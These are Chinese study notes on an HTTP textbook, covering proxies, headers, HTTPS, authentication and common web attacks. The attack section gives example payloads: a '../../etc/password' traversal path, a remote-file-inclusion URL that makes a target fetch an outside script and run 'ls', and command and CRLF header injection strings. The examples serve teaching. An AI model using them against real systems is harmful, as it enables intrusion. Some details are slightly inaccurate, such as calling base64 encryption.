通信数据转发程序(书5.2节)
1.代理
- 代理:代理服务器的基本行为是接收客户端的请求后转发给其他服务器,不改变URI。
- 缓存代理: 代理转发时,缓存代理会预先将资源的副本(缓存)保存在代理服务器上。当代理再次接到相同资源的请求时,就可以不从资源服务器那里获取资源,而是将之前的缓存资源作为响应返回。
- 透明代理:转发请求或响应时,不对报文做任何加工的代理类型成为透明代理,反之成为非透明代理。
2.网关
- 网关:网关与代理非常类似,但是能将客户端的http请求转化为其他协议与线路上的服务器通信。利用网关可以提高安全性,因为可以在客户端与网关之间的通信线路上加密。
3.隧道
- 隧道:隧道是客户端与服务器之间建立的一条通信线路。隧道本身是透明的,不会解析http请求,会保持原样中转给服务器。隧道会用SSL等加密手段通信,保证远距离通信安全。隧道会在通信双方断开连接时结束。
首部Header(书6章)
- 端到端首部(End-to-end Header):此类别的首部必须转发给请求/响应的最终接收对象,且必须保存在由缓存生成的响应中。
- 逐跳首部(Hop-by-hop Header):此类别的首部只对单次转发有效,会因缓存或代理不再转发。必须提供Connection首部字段
Http1.1仅有8个逐跳首部字段:Connection、Keep-Alive、Proxy-Authenticate、Proxy-Authorization、Trailer、TE、Transfer-Encoding、Upgrade
HTTPS的混合加密(书7章)
- https即http在SSL或TSL安全通信线路上进行通信。
- 非对称加密优点是私钥私有,公钥公开,不会在交换密钥的过程中泄露不能公开的密钥(对称加密交换密钥的时候不能保证密钥不泄露)
- 非对称加密缺点是速度慢。
- https先用慢的非对称加密交换对称加密密钥,再用快的对称加密传递http报文,混合使用两种加密,保证了安全和速度。
详细步骤:
- 服务器把自己公开密钥登记到数字证书认证机构
- 认证机构用自己的私钥加签,发布公钥证书
- 客户端用认证机构的公钥(浏览器通常内置)验签,证明服务器公钥未被篡改
- 客户端用服务器公钥加密,发送报文
- 服务端用私钥解密报文
- 客户端证书:需付费;用户自行安装;用户知识水平不同,实施困难;一些特殊业务,比如网银登录会使用;略
- 为什么不一直用https?答:因为SSL的加解密会消耗非常多的客户端、服务器硬件资源(CPU、内存),另外也能节省购买证书的开销。
身份认证(书8章)
- basic认证:使用{用户:密码}格式,base64加密。不安全。
- digest认证:通过质询-响应防止密码被窃听,但不能防止用户被伪装。使用不便捷,且达不到安全标准。
- SSL客户端认证:需要客户端安装证书,会有额外开销。
- 基于表单认证:密码加盐保存;session+cookie认证;bearer token。
web攻击(书11章)
- 输出值转义不完全引发的安全漏洞:
- XSS:例如在浏览器的输出框输入
- SQL注入:例如在查询输入框写sql,被当作sql语句执行(而非纯文本)。
- OS命令注入:在可调用Shell函数的地方,例如输入框内容拼接进os命令,输入”;”加OS命令,攻击者就可以非法调用Shell命令。
- http首部注入攻击:例如在URL后拼接%0D%0A(HTTP报文中的换行符),接其他http首部,比如Set-Cookie设置sessionId,攻击者可以由此在响应中穿插任意首部。
- http响应截断攻击:特殊的首部注入,拼接2个%0D%0A换行符,之后便可伪造响应主体,用户浏览器会显示攻击者伪造的web页面。
- 邮件首部注入攻击:类似,略。
- 目录遍历攻击:攻击者将文件名”abc.log”修改成”../../etc/password”访问本应无权限的文件(未能处理好../)
- 远程文件包含漏洞:(主要在php)http://example.com/folo.php?mod=news.php,改成http://example.com/folo.php?mod=http://hackr.jp/cmd.php&cmd=ls,于是可以通过外部脚本让目标服务器(example.com)运行自己想要的Shell命令
- 设置或设计上的缺陷引发的安全漏洞
- 强制浏览:例如可以通过url直接访问文件服务器上的图片/文件。
- 不正确的错误信息:例如登录提示用户名是否已注册;数据库异常上抛至页面会透露数据表设计。
- 开放重定向:允许重定向到任意指定URL。用户有可能被诱导到恶意网站。
- 因会话管理疏忽引发的安全漏洞
- 会话劫持:攻击者用某种手段拿到用户的sessionId伪装成用户,例如利用XSS通过document.cookie窃取用户cookie中的会话ID。
- 会话固定攻击:攻击者从web网站拿到一个会话ID,攻击者准备陷阱强制用户使用这个会话ID认证,在用户完成认证之后,攻击者就能使用这个会话ID访问网站了。
- 跨站点请求伪造CSRF:
- 其他安全漏洞
- 密码破解、点击劫持、DoS攻击、后门程序
- 点击劫持:用透明按钮/页面覆盖在用户页面上,透明按钮与用户页面按钮重合,诱导用户点击陷阱按钮。